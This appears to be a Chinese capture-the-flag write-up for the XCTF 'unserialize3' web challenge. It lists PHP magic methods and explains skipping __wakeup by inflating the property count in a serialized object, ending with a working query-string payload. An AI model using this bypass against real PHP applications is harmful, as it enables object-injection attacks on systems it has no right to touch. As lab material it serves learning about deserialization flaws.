攻防世界16-unserialize3-CTFWeb进阶

根据题意,很明显是反序列化,反序列化的知识可以自己查,PHP 反序列化基础 - Hello CTF (hello-ctf.com)也行

class xctf{
public $flag = '111';
public function __wakeup(){
   exit('bad requests');
}
?code=

以下是ctf中常用的方法:

 __wakeup() //------ 执行unserialize()时,先会调用这个函数
 __sleep() //------- 执行serialize()时,先会调用这个函数
 __destruct() //---- 对象被销毁时触发
 __call() //-------- 在对象上下文中调用不可访问的方法时触发
 __callStatic() //-- 在静态上下文中调用不可访问的方法时触发
 __get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
 __set() //--------- 用于将数据写入不可访问的属性
 __isset() //------- 在不可访问的属性上调用isset()或empty()触发
 __unset() //------- 在不可访问的属性上使用unset()时触发
 __toString() //---- 把类当作字符串使用时触发
 __invoke() //------ 当尝试将对象调用为函数时触发

也就是说我们要绕过wakeup方法,最后要在code中返回结果。

介绍一下(来自攻防世界wp)

<?php
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();

function __wakeup() {
echo "__wakeup is invoked";
}
}

$s = new Student();
var_dump(serialize($s));
?>

输出为

O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}

这里补充一个知识点:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

因此"Student”:3:改成5就能绕过

同样的在这题

image-20241012161635502

把1改成2就行

payload=?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}

image-20241012161716481